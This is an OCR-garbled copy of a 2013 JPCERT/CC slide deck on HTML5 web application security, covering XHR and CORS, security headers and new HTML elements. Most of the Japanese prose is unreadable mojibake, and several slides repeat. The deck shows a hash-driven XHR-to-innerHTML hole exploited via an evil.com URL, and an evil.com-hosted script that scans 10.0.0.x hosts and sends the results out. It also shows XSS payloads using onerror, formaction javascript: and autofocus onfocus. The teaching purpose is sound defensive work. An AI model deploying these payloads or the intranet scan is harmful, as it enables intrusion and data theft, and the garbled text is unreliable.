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— XMLHttpRequest
— Cross Document Messaging
— Offline Web Application
— Web Storage
— WebSocket
— Web Workers
— FTARENHTMLES - B3R
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HESSTHENMTUTLSAE (HEER)

M JavaScript API

— Cross Document Messaging

—Web Storage
—WebSocket

B HTMLFER - Bl%
—a
—button

frame

—Iiframe
—meta
—video

m =-

-1 U5 BEEE

— X-XSS-Protection
— X-Content-Type-Options
— X-Frame-Optoins
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— Offline Web Application
—Web Workers
— XMLHttpRequest

—audio
—canvas
—Input
—source

—Content-Security-Policy
— Content-Disposition
— Strict-Transport-Security
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JavaScript API
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XMLHttpRequest(XHR)#IE

B XMLHttpRequest(XHR) & (&
—JavaScript CHTTPE{EZ 1T D TshDAPI
—SEEERBEICKD A > IS O TIRFRIRH O] 6E
—AIAXDE R (CHEVMERH TN S OB
—HTMLSB BT 5 HDHEEETEN. HTMLSTETL K& D Tz
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ERDXHR

B JavaScriptziidHAATTA Y > (%) D+ E1BIENH O] &E
B RAUSADBEOORAIUZNTIEH. UJITXME
ERFEITINIRLN

other.example.jp

KAV : RAMR—bRAX—LOEAEDE
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HTML5MDXHR (XMLHttpRequest Level 2)

B OORAIDTHIG

B OOXAUDDTBEBEITDESHICIE. T—)DOEENNE

B OSHA7> MIY—)\DBDL AN RZBTI7IOTCAD
&= HT B, B—/HITEHFRI L TLVRVWEETE.
UOT R MIESND

in: 57%5’7*5&5’77_5% =z

other.example.jp

Access-Control-Allow-Origin: 8Fr] 923 AU or *
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XHRZEAR I BJavaScriptd— R

B 1
—http://html.example.com/H S 5EHHIA A TZ JavaScript T .
http://html.example2.com/ E1BEZ 1TV, #EREFRRIT D

var url = “http://html.example2.com/”;
var xhr = new XMLHttpRequest();
xhr.open( "GET", url, true );
xhr.onreadystatechange = function(){
If( xhr.readyState == 4 && xhr.status == 200 ){
var resp = xhr.responseText;

}
}
10: xhr.send( null );

16 Copyright©2013 JPCERT/CC All rights reserved. JPCERT CC®




XHRTODHTTPUOIRX b - LARAH

)T AM)

GET/HTTP/1.1

Host: other.example.jp

|Origin: http://example.com |

User-Agent: Mozilla/5.0(Windows NT 6.0; rv:18.0)
Connection: keep-alive

LRR Z )

HTTP/1.1 200 OK

Date: Tue, 1 Jan 2013 09:00:00 GMT
Content-Length: 1512

Content-Type: text/plain; charset=utf-8
|Access-ControI-AIIow-Origin: http://fexample.com |

" DEMO
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p#ZB(EcURLE U CERA

IEE35E DE

1 1. http://example.com/(C7 Tt X

2. BEAAIOAZ1—HI5BADU>
D7 Iw D

(http://example.com/#/b.html)

===t Ul 3 JavaScript CHUBE R URLE U TR,
XHRTI> 7 2 YBDOANEZHUS

4. XHRDL AN RAZHAlDI>F>
WEUTERR

http://example.jp/

menu
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1 1. http://example.com/(C7 Tt X

2. BEAAIOAZ1—HI5BADU>
D7 Iw D

(http://example.com/#/b.html)

===t Ul 3 JavaScript CHUBE R URLE U TR,
XHRTI> 7 2 YBDOANEZHUS

4. XHRDL AN RAZHAlDI>F>
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—RA1 : XHRZER UEIFDOWeb B bk

B L —AZEDIXHRTHNICOAS TV EESHTRR T

WDHT—X

—http://example.com/#/fooD K DIRURLT 77 I A L. #2
fFZBE5EURLE U CTEA

http: //example Jp/#/b html

R s V— g el B !’
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XHRTIO> 7> YWBORBZHUS

. XHRDOL AR A=A/ 7>

YEUTERR

JPCERT CC°®



—RA1 : XHRZER UEIFDOWeb B bk

B DL —AZFEDITXHRTHMC O FTIVZESTHA T
DT —X
—http://example.com/#/fooD K DIRURLT 77 I A L. #2
fFZBE5EURLE U CTEA

BRI a—R 45

var url = location.hash.substring(1);
var xhr = new XMLHttpRequest();
xhr.open( "GET", url, true );
xhr.onreadystatechange = function(){
If( xhr.readyState == 4 && xhr.status == 200 ){
div.innerHTML = xhr.responseText;

}

%

xhr.send( null );
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B HTMLSERMW G I SOYTIFUOITX MEAEMTHONIRWLWA., 5D
PAHTMLSIG UTZZ &(C KD SMEIDERDY —/Ci@fErIEE
— XSSIWE(C{FHZEND
— BY1 MICEKURWI S T YRRREIND

URLTCHEELUZEED
http://example.com/#//evil.com/evil.html EE 7 b EaB{Er]EE

(il o o

evil.com
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—RX1 : WK

B HTMLSERMW G T SOY TIRU O MEAENMTHONRWLWA,. 50
PAHTMLSIG UTZZ &(C KD SMEIDERDY —/Ci@fErIEE
— XSSIWE(C{EHIND
— BY1 MICEKURWI S T YRRREIND

FEOYA F=URLTIEELTH.

B EERZRIANIANEUTIEEVUTEHELKET
BEDHDBIEHXNDT ITTCRZITHOIRIVVERICT D

var pages = [ "/", "/foo", "/bar", "/baz" |,
var index = location.hash.substring(1) | O;
var url = pages[ index ] || '/;

var xhr = new XMLHttpRequest();
xhr.open( "GET", url, true );
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o—X1: /e

B 55 & 1R D RIEEME DI B

1. var url = location.hash.substring(1);
2. If( url.indexOf( "http://example2.jp/" ) == 0 ||
3: url.indexOf( "http://example3.jp/" ) == 0 ){
4.
5: [l example2.jp E£/z(E example3.jp D EEDIHEE
6: var xhr = new XMLHttpRequest();
/. Xhr.open( "GET", url, true );
8:
9:
B Y51 MRICA-TUSA LD SMFETDE. FEDYA AED
SN O] EE

B ) \v2a1ZzFALEEE. U—/VIICT—INERSRRVNZH., £
(CHE SN ITh OIEEN EIE

25 ‘ Copyright©2013 JPCERT/CC All rights reserved. JPCERT CC®




T—RX2 : HTMLSMR®DA1 > FSAWeb Y1 b~

B 172 hSRY MDD AT ALAMHA MA. B BB)
— A FADISHS T A MBICH U TIORAVU D UBEZITDO TLD
— BB (FZSERHADIBIERZE DT> TS
— 1> ;I3 Y OB D77 I ALTEIRNTZE. Cookie T
Dl PR(EIT D TLVRLY
—H A FBTIE. LAR AN WS (CAccess-Controll-Allow-Origin:*
2 55 TE

(10.0.0.2)

Access-Control-Allow-Origin:*

JPCERT CC°®
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—RA2 : WEI— R

B TFOO—-RZETIDAM Y —FRY MWeb-1 b
(http://fevil.com/) (CT77O0tRXITBDE - - -

1: for(i=1;1<=255; i++){

2. varurl ="“http://10.0.0.” + 1 + “/7;

3:  var xhr = new XMLHttpRequest();

4:  xhr.open( "GET", url, true );

5:  xhr.onreadystatechange = function(){

6: If( xnr.readyState == 4 && xhr.status == 200 ){
7 /I xhr.responseText Z evil.com (CiX1{E
8: }

9. }

10:  xhr.send( null);

11: }
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—R2 : HTTPUOIRADS - LAKRRAH)

)9 TR )
GET/HTTP/1.1
Host: 10.0.0.2
[Origin: http://evil.com]
User-Agent: Mozilla/5.0(Windows NT 6.0; rv:18.0)
Connection: keep-alive
LR Z )

HTTP/1.1 200 OK

Date: Tue, 1 Jan 2013 09:00:00 GMT
Content-Length: 1512

Content-Type: text/plain; charset=utf-8
Access-Control-Allow-Origin: *|
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— AEPDIEE Y 1 MMIEH N ZJavaScriptDXHRM S, 1> bS53 w MAEBD
1BHR(C T O CRAENBHRT{ZVNCENDAIEEEN DD

evil.com

(10.0.0.2)

Access-Control-Allow-Origin:*
ﬁ SHEFIRULIEVIS TV DRE

M Cookie C7 Oz RZHIEIT D (Cookle%ﬁj =&, Access-Control-
Allow-Origin(C, *[FBETEY . AU ZIEEIT DIWNENDD)

X Access-Control-Allow-Originld. 77O XHHIOBEN THERATERNWC EITER
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DD IavaScript API

B RESTE SEEBNT UM EIRA IAHEEE - BEZBIT U TVWET
— Offline Web Application
— Cross Document Messaging
—Web Storage
—WebSocket B SHEHS &
—Web Workers o
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HTMLS j&iFIJHiLzT.:Web Tjru‘tr‘_fifllfﬂ:)‘ﬁ:‘:l ek d e = P AR 2013-10-30

JRCERTACCTE, HTMLS EH|AL T 275 web 7 7T — 2 g L MR OO OSSO~ —2 &
HAFRETIEEOEHEBMAL T, ErEna ) T RREE L Lo TR AL, T D RIEE oxt
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JavaScript API
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41U BEEEE
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HTML¥EZ - B1E

B <video>, <audio>
—<img>&EBERICHTMLA(C BB A n] e/ EE - 85
ZIBDIAD
B <button formaction="xxx">
— NI ENTZERD T A — LADEENZIETET D
B <input type="email”>
— X —)LERDFT —FDHZZ(T{FTB
B <input type="“text’ pattern="*[0-9a-fA-F]+$">
— )\ =2 (XY FIT BT —IDHZEXZTTD
B <iframe sandbox>
—scriptDEIT®. TA—LDFE. b T LA
Window DTSR EZFIRT D
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HTML¥EZ - B1E

B <video>, <audio>
—<img>&EBERICHTMLA(C BB A n] e/ EE - 85
ZIBDIAD
B <button formaction="xxx">
— NI ENTZERD T A — LADEENZIETET D
B <input type="email”>
— X —)LERDFT —FDHZZ(T{FTB
B <input type="“text’ pattern="*[0-9a-fA-F]+$">
— )\ =2 (XY FIT BT —IDHZEXZTTD
B <iframe sandbox>
—scriptDEIT®. TA—LDFE. b T LA
Window\DFEIR EZFHIRT D
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HTMLFESE - 1% : <video>,<audio>

B Internet Explorer 9 3 KTM0 TlE. <video>,<audio>EZ=
0) onerror 1 X2 SOBIWET DIz, XSS WEMITHOHN
oJEEEN D Do

<l-- video BXR(C K BDXSS IEDH --
<video onerror= Javascrlpt.alert(l)">
<source src="#"></source>
</video>

<l-- audio BEZRI(CKBDXSS WEDYH --

<audio onerror= Javascrlpt.alert(l) >
></source>
</audio>

JPCERT CC°®
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HTML¥EZ - B1E

B <video>, <audio>
—<img>&EBERICHTMLA(C BB A n] e/ EE - 85
ZIBDIAD
B <button formaction="xxx">
— NI ENTZERD T A — LADEENZIETET D
B <input type="email”>
— X —)LERDFT —FDHZZ(T{FTB
B <input type="“text’ pattern="*[0-9a-fA-F]+$">
— )\ =2 (XY FIT BT —IDHZEXZTTD
B <iframe sandbox>
—scriptDEIT®. TA—LDFE. b T LA
Window\DFEIR EZFHIRT D
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HTMLETEZ - B1¥ : <button formaction>

B 4RI D HTMLADANR N\ RSODIEAZZET B/
HIC. on CTHRFEDEEZRL T BDNRZE EDIEFEN DD
eht. COXDIRMWERTIEIATT

<form>
<button formaction="javascript:alert(1)">text</button>

</form>

B E3E(E onmouseover, onclick & UL\D Je 1 —H DIR/EH )
EINEMENIRE (C{EONEH. autofocusu % EFBHE
NEBDCET, B UICIKEDgICIR D TT

<l-- 1—HDIRENRERKZE D] -->
<button autofocus onfocus="alert(1)">

JPCERT CC°®

37 Copyright©2013 JPCERT/CC All rights reserved.



HTML¥EZ - B1E

B <video>, <audio>
—<img>&EBERICHTMLA(C BB A n] e/ EE - 85
ZIBDIAD
B <button formaction="xxx">
— NI ENTZERD T A — LADEENZIETET D
B <input type="email”>
— X —)LERDFT —FDHZZ(T{FTB
B <input type="“text’ pattern="*[0-9a-fA-F]+$">
— )\ =2 (XY FIT BT —IDHZEXZTTD
B <iframe sandbox>
—scriptDEIT®. TA—LDFE. b T LA
Window\DFEIR EZFHIRT D
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<input type=“email”>

HTML#hE3R - BIE : <input pattern=“xxx”>
B A=)V RLAFERDANDT —FDHZZHTTD

< >
for_m u - lal:u:.v:n:lr'r'u H EAF |
<input type="email™> |
<input type="submit”> A—)L7 KLABELL BOER A

</form>

B pattern[CNYVF I DANT—HFDHZZITFTD
(FofITlE. 16 ERRRDAFHZZIHIITD)

<form>
<input type="text”
pattern=“[0-9a-fA-F]+$"> ANENEBH T —LRICEEENRSREER
<input type=“submit”> oET
</form>

L [t

JPCERT CC°®
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